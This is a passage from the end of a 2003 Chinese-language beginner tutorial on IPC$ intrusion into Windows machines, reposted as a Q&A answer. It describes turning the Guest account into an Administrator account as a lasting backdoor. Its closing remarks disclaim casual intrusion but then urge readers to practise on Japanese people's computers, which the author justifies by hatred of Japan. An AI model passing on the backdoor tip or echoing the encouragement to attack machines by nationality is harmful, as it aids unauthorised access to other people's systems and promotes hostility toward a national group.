將Guest變為Administrator^_^(如果管理員密碼更改,guest帳號沒改變的話,下次我們可以用guest再次訪問這台計算機)

十 總結:
關於ipc入侵就說這么多了,覺得已經夠詳細了,如果有不準確的地方,希望能與大家討論.
最後,希望大家不要隨便入侵,我寫這篇文章的目的是想解答大家的疑惑,並不是鼓勵大家隨便的入侵,如果你非想試一下,建議拿小日本的機子開練(什麼?為什麼?因為我討厭日本,沒別的)

完成時間:iqst-2003/2/16 23:01 http://ccbirds.yeah.net
更新時間:2003/2/17/23:06
[ccbirds入門級教程]--各個擊破1--ipc$入侵
回答者:HFei77 - 助理 二級 11-30 13:17

這個人回答很清楚了 下次問之前不妨先搜索下